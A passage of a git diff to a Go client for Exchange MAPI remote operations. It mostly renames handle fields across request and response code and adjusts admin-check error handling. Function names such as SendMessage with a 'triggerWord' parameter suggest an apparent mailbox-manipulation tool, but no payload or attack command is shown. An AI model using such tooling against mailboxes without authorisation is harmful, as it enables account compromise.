utils.ReadByte(pos, resp) + createFolder.OutputHandleIndex, pos = utils.ReadByte(pos, resp) createFolder.ReturnValue, pos = utils.ReadUint32(pos, resp) if createFolder.ReturnValue != 0 { return pos, &ErrorCode{createFolder.ReturnValue} @@ -1544,7 +1544,7 @@ func (createMessageResponse *RopCreateMessageResponse) Unmarshal(resp []byte) (i pos := 0 createMessageResponse.RopID, pos = utils.ReadByte(pos, resp) - createMessageResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + createMessageResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) createMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if createMessageResponse.ReturnValue == 0 { @@ -1564,7 +1564,7 @@ func (deleteMessageResponse *RopDeleteMessagesResponse) Unmarshal(resp []byte) ( pos := 0 deleteMessageResponse.RopID, pos = utils.ReadByte(pos, resp) - deleteMessageResponse.InputHandle, pos = utils.ReadByte(pos, resp) + deleteMessageResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) deleteMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) deleteMessageResponse.PartialCompletion, pos = utils.ReadByte(pos, resp) if deleteMessageResponse.ReturnValue != 0 { @@ -1578,7 +1578,7 @@ func (emptyFolderResponse *RopEmptyFolderResponse) Unmarshal(resp []byte) (int, pos := 0 emptyFolderResponse.RopID, pos = utils.ReadByte(pos, resp) - emptyFolderResponse.InputHandle, pos = utils.ReadByte(pos, resp) + emptyFolderResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) emptyFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) emptyFolderResponse.PartialComplete, pos = utils.ReadByte(pos, resp) if emptyFolderResponse.ReturnValue != 0 { @@ -1592,7 +1592,7 @@ func (deleteFolderResponse *RopDeleteFolderResponse) Unmarshal(resp []byte) (int pos := 0 deleteFolderResponse.RopID, pos = utils.ReadByte(pos, resp) - deleteFolderResponse.InputHandle, pos = utils.ReadByte(pos, resp) + deleteFolderResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) deleteFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) deleteFolderResponse.PartialComplete, pos = utils.ReadByte(pos, resp) if deleteFolderResponse.ReturnValue != 0 { @@ -1645,7 +1645,7 @@ func (modRecipientsResponse *RopModifyRecipientsResponse) Unmarshal(resp []byte) pos := 0 modRecipientsResponse.RopID, pos = utils.ReadByte(pos, resp) - modRecipientsResponse.InputHandle, pos = utils.ReadByte(pos, resp) + modRecipientsResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) modRecipientsResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if modRecipientsResponse.ReturnValue != 0 { @@ -1659,7 +1659,7 @@ func (syncResponse *RopSynchronizationOpenCollectorResponse) Unmarshal(resp []by pos := 0 syncResponse.RopID, pos = utils.ReadByte(pos, resp) - syncResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + syncResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) syncResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if syncResponse.ReturnValue != 0 { @@ -1673,7 +1673,7 @@ func (submitMessageResp *RopSubmitMessageResponse) Unmarshal(resp []byte) (int, pos := 0 submitMessageResp.RopID, pos = utils.ReadByte(pos, resp) - submitMessageResp.InputHandle, pos = utils.ReadByte(pos, resp) + submitMessageResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) submitMessageResp.ReturnValue, pos = utils.ReadUint32(pos, resp) if submitMessageResp.ReturnValue != 0 { @@ -1687,7 +1687,7 @@ func (setPropertiesResponse *RopSetPropertiesResponse) Unmarshal(resp []byte) (i pos := 0 setPropertiesResponse.RopID, pos = utils.ReadByte(pos, resp) - setPropertiesResponse.InputHandle, pos = utils.ReadByte(pos, resp) + setPropertiesResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) setPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if setPropertiesResponse.ReturnValue == 0 { @@ -1706,7 +1706,7 @@ func (getPropertiesResponse *RopFastTransferSourceCopyPropertiesResponse) Unmars pos := 0 getPropertiesResponse.RopID, pos = utils.ReadByte(pos, resp) - getPropertiesResponse.InputHandle, pos = utils.ReadByte(pos, resp) + getPropertiesResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) getPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if getPropertiesResponse.ReturnValue != 0 { @@ -1720,7 +1720,7 @@ func (getPropertiesResponse *RopGetPropertyIdsFromNamesResponse) Unmarshal(resp pos := 0 getPropertiesResponse.RopID, pos = utils.ReadByte(pos, resp) - getPropertiesResponse.InputHandle, pos = utils.ReadByte(pos, resp) + getPropertiesResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) getPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if getPropertiesResponse.ReturnValue != 0 { @@ -1771,7 +1771,7 @@ func (buffResponse *RopFastTransferSourceGetBufferResponse) Unmarshal(resp []byt pos := 0 buffResponse.RopID, pos = utils.ReadByte(pos, resp) - buffResponse.InputHandle, pos = utils.ReadByte(pos, resp) + buffResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) buffResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if buffResponse.ReturnValue == 0 { @@ -1797,7 +1797,7 @@ func (saveMessageResponse *RopSaveChangesMessageResponse) Unmarshal(resp []byte) saveMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if saveMessageResponse.ReturnValue == 0 { - saveMessageResponse.InputHandle, pos = utils.ReadByte(pos, resp) + saveMessageResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) saveMessageResponse.MessageID, _ = utils.ReadBytes(pos, 8, resp) } return nil @@ -1833,7 +1833,7 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope pos := 0 var flag byte queryRows.RopID, pos = utils.ReadByte(pos, resp) - queryRows.InputHandle, pos = utils.ReadByte(pos, resp) + queryRows.InputHandleIndex, pos = utils.ReadByte(pos, resp) queryRows.ReturnValue, pos = utils.ReadUint32(pos, resp) if queryRows.ReturnValue != 0 { return pos, &ErrorCode{queryRows.ReturnValue} @@ -1897,7 +1897,7 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope func (setColumnsResponse *RopSetColumnsResponse) Unmarshal(resp []byte) (int, error) { pos := 0 setColumnsResponse.RopID, pos = utils.ReadByte(pos, resp) - setColumnsResponse.InputHandle, pos = utils.ReadByte(pos, resp) + setColumnsResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) setColumnsResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) setColumnsResponse.TableStatus, pos = utils.ReadByte(pos, resp) if setColumnsResponse.ReturnValue != 0 { @@ -1910,7 +1910,7 @@ func (setColumnsResponse *RopSetColumnsResponse) Unmarshal(resp []byte) (int, er func (getRulesTable *RopGetRulesTableResponse) Unmarshal(resp []byte) (int, error) { var pos = 0 getRulesTable.RopID, pos = utils.ReadByte(pos, resp) - getRulesTable.OutputHandle, pos = utils.ReadByte(pos, resp) + getRulesTable.OutputHandleIndex, pos = utils.ReadByte(pos, resp) getRulesTable.ReturnValue, pos = utils.ReadUint32(pos, resp) if getRulesTable.ReturnValue != 0 { return pos, &ErrorCode{getRulesTable.ReturnValue} @@ -1923,7 +1923,7 @@ func (getRulesTable *RopGetRulesTableResponse) Unmarshal(resp []byte) (int, erro func (ropOpenFolderResponse *RopOpenFolderResponse) Unmarshal(resp []byte) (int, error) { pos := 0 ropOpenFolderResponse.RopID, pos = utils.ReadByte(pos, resp) - ropOpenFolderResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + ropOpenFolderResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) ropOpenFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropOpenFolderResponse.ReturnValue != 0x000000 { @@ -2100,7 +2100,7 @@ func (modRulesResp *RopModifyRulesResponse) Unmarshal(resp []byte) (int, error) func (ropGetHierarchyResponse *RopGetHierarchyTableResponse) Unmarshal(resp []byte) (int, error) { pos := 0 ropGetHierarchyResponse.RopID, pos = utils.ReadByte(pos, resp) - ropGetHierarchyResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + ropGetHierarchyResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) ropGetHierarchyResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropGetHierarchyResponse.ReturnValue != 0x000000 { @@ -2115,7 +2115,7 @@ func (ropGetHierarchyResponse *RopGetHierarchyTableResponse) Unmarshal(resp []by func (ropOpenMessageResponse *RopOpenMessageResponse) Unmarshal(resp []byte) (int, error) { pos := 0 ropOpenMessageResponse.RopID, pos = utils.ReadByte(pos, resp) - ropOpenMessageResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + ropOpenMessageResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) ropOpenMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropOpenMessageResponse.ReturnValue != 0x000000 { diff --git a/mapi/mapi.go b/mapi/mapi.go index dc17430..2028197 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -446,7 +446,7 @@ func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { execResponse, err := sendMapiRequest(execRequest) //need to verify admin here... if err != nil { - if execResponse.StatusCode != 255 && AuthSession.Admin { + if AuthSession.Admin { return nil, ErrNotAdmin } return nil, &TransportError{err} @@ -456,10 +456,10 @@ func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { logonResponse := RopLogonResponse{} logonResponse.Unmarshal(execResponse.RopBuffer) - utils.Info.Println(logonResponse) + if len(logonResponse.FolderIds) == 0 { if AuthSession.Admin { - return nil, ErrNotAdmin //fmt.Errorf("Unable to retrieve mailbox as admin") + return nil, fmt.Errorf("Unable to retrieve mailbox as admin") } return nil, fmt.Errorf("Unable to retrieve mailbox as user") } @@ -491,7 +491,7 @@ func Disconnect() (int, error) { func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHandle} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: inputHandle} fullReq := ropRelease.Marshal() execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} execRequest.RopBuffer.ROP.RopsList = fullReq @@ -573,8 +573,8 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm execRequest.Init() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderID getMessage.MessageID = messageID getMessage.CodePageID = 0xFFF @@ -582,7 +582,7 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm fullReq := getMessage.Marshal() - modRecipients := RopModifyRecipientsRequest{RopID: 0x0E, LogonID: AuthSession.LogonID, InputHandle: 0x01} + modRecipients := RopModifyRecipientsRequest{RopID: 0x0E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} modRecipients.ColumnCount = 8 modRecipients.RecipientColumns = make([]PropertyTag, modRecipients.ColumnCount) @@ -622,7 +622,7 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm modRecipients.RecipientRows[0].RecipientRowSize = uint16(len(utils.BodyToBytes(modRecipients.RecipientRows[0].RecipientRow))) fullReq = append(fullReq, modRecipients.Marshal()...) - submitMessage := RopSubmitMessageRequest{RopID: 0x32, LogonID: AuthSession.LogonID, InputHandle: 0x01, SubmitFlags: 0x00} + submitMessage := RopSubmitMessageRequest{RopID: 0x32, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, SubmitFlags: 0x00} fullReq = append(fullReq, submitMessage.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -667,8 +667,8 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { execRequest.Init() createMessage := RopCreateMessageRequest{RopID: 0x06, LogonID: AuthSession.LogonID} - createMessage.InputHandle = 0x00 - createMessage.OutputHandle = 0x01 + createMessage.InputHandleIndex = 0x00 + createMessage.OutputHandleIndex = 0x01 createMessage.FolderID = AuthSession.Folderids[OUTBOX] createMessage.CodePageID = 0xFFF createMessage.AssociatedFlag = 0 @@ -676,7 +676,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { fullReq := createMessage.Marshal() setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 + setProperties.InputHandleIndex = 0x01 setProperties.PropertValueCount = 9 propertyTags := make([]TaggedPropertyValue, setProperties.PropertValueCount) @@ -701,7 +701,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { fullReq = append(fullReq, setProperties.Marshal()...) - modRecipients := RopModifyRecipientsRequest{RopID: 0x0E, LogonID: AuthSession.LogonID, InputHandle: 0x01} + modRecipients := RopModifyRecipientsRequest{RopID: 0x0E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} modRecipients.ColumnCount = 8 modRecipients.RecipientColumns = make([]PropertyTag, modRecipients.ColumnCount) @@ -741,7 +741,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { modRecipients.RecipientRows[0].RecipientRowSize = uint16(len(utils.BodyToBytes(modRecipients.RecipientRows[0].RecipientRow))) fullReq = append(fullReq, modRecipients.Marshal()...) - submitMessage := RopSubmitMessageRequest{RopID: 0x32, LogonID: AuthSession.LogonID, InputHandle: 0x01, SubmitFlags: 0x00} + submitMessage := RopSubmitMessageRequest{RopID: 0x32, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, SubmitFlags: 0x00} fullReq = append(fullReq, submitMessage.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -789,22 +789,22 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() setMessageStatus := RopSetMessageStatusRequest{RopID: 0x20, LogonID: AuthSession.LogonID} - setMessageStatus.InputHandle = 0x01 + setMessageStatus.InputHandleIndex = 0x01 setMessageStatus.MessageID = messageid setMessageStatus.MessageStatusFlags = PidTagMessageFlags setMessageStatus.MessageStatusMask = MSRemoteDelete fullReq = append(fullReq, setMessageStatus.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -834,8 +834,8 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet execRequest.Init() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -846,7 +846,7 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet getPropertyIds := RopGetPropertyIdsFromNamesRequest{} getPropertyIds.RopID = 0x56 getPropertyIds.LogonID = AuthSession.LogonID - getPropertyIds.InputHandle = 0x01 + getPropertyIds.InputHandleIndex = 0x01 getPropertyIds.Flags = 0x02 getPropertyIds.PropertyNameCount = uint16(len(propids)) getPropertyIds.PropertyNames = propids @@ -854,7 +854,7 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet fullReq = append(fullReq, getPropertyIds.Marshal()...) //fullReq := getPropertyIds.Marshal() - //ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + //ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} //fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq @@ -897,8 +897,8 @@ func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListRespon execRequest.Init() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -950,8 +950,8 @@ func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (* execRequest.Init() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1004,8 +1004,8 @@ func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = searchFolder getFolder.OpenModeFlags = 0x00 @@ -1060,8 +1060,8 @@ func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, erro execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = searchFolder getFolder.OpenModeFlags = 0x00 @@ -1112,15 +1112,15 @@ func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (* execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 + setProperties.InputHandleIndex = 0x01 setProperties.PropertValueCount = 1 setProperties.PropertyValues = propertyTags @@ -1178,8 +1178,8 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass execRequest.Init() createMessage := RopCreateMessageRequest{RopID: 0x06, LogonID: AuthSession.LogonID} - createMessage.InputHandle = 0x00 - createMessage.OutputHandle = 0x01 + createMessage.InputHandleIndex = 0x00 + createMessage.OutputHandleIndex = 0x01 createMessage.FolderID = folderID createMessage.CodePageID = 0xFFF createMessage.AssociatedFlag = associated @@ -1187,7 +1187,7 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass fullReq := createMessage.Marshal() setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 + setProperties.InputHandleIndex = 0x01 setProperties.PropertValueCount = uint16(len(properties)) propertyTags := properties @@ -1203,12 +1203,12 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 + saveMessage.InputHandleIndex = 0x01 saveMessage.SaveFlags = 0x02 fullReq = append(fullReq, saveMessage.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1252,12 +1252,12 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1271,7 +1271,7 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp fullReq = append(fullReq, createAttachment.Marshal()...) setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x02 + setProperties.InputHandleIndex = 0x02 setProperties.PropertValueCount = uint16(len(properties)) propertyTags := properties setProperties.PropertyValues = propertyTags @@ -1288,16 +1288,16 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 + saveMessage.InputHandleIndex = 0x01 saveMessage.SaveFlags = 0x02 fullReq = append(fullReq, saveMessage.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x00} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x00} //fullReq = append(fullReq, ropRelease.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x02} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1357,12 +1357,12 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1498,18 +1498,18 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 + saveMessage.InputHandleIndex = 0x01 saveMessage.SaveFlags = 0x02 fullReq = append(fullReq, saveMessage.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x02} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} fullReq = append(fullReq, ropRelease.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x03} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1553,8 +1553,8 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope execRequest.Init() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1563,7 +1563,7 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope fullReq := getMessage.Marshal() setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 + setProperties.InputHandleIndex = 0x01 setProperties.PropertValueCount = uint16(len(propertyTags)) setProperties.PropertyValues = propertyTags propertySize := 0 @@ -1577,7 +1577,7 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = 0x02 - saveMessage.InputHandle = 0x01 + saveMessage.InputHandleIndex = 0x01 saveMessage.SaveFlags = 0x02 fullReq = append(fullReq, saveMessage.Marshal()...) @@ -1620,12 +1620,12 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1633,7 +1633,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV fullReq = append(fullReq, getMessage.Marshal()...) - fastTransfer := RopFastTransferDestinationConfigureRequest{RopID: 0x53, LogonID: AuthSession.LogonID, InputHandle: 0x01, OutputHandle: 0x02, SourceOperation: 0x01, CopyFlags: 0x01} + fastTransfer := RopFastTransferDestinationConfigureRequest{RopID: 0x53, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, SourceOperation: 0x01, CopyFlags: 0x01} fullReq = append(fullReq, fastTransfer.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1664,7 +1664,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV //fmt.Printf("%x\n", body) execRequest := ExecuteRequest{} execRequest.Init() - setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandle: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} + setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} fullReq := setFast.Marshal() execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 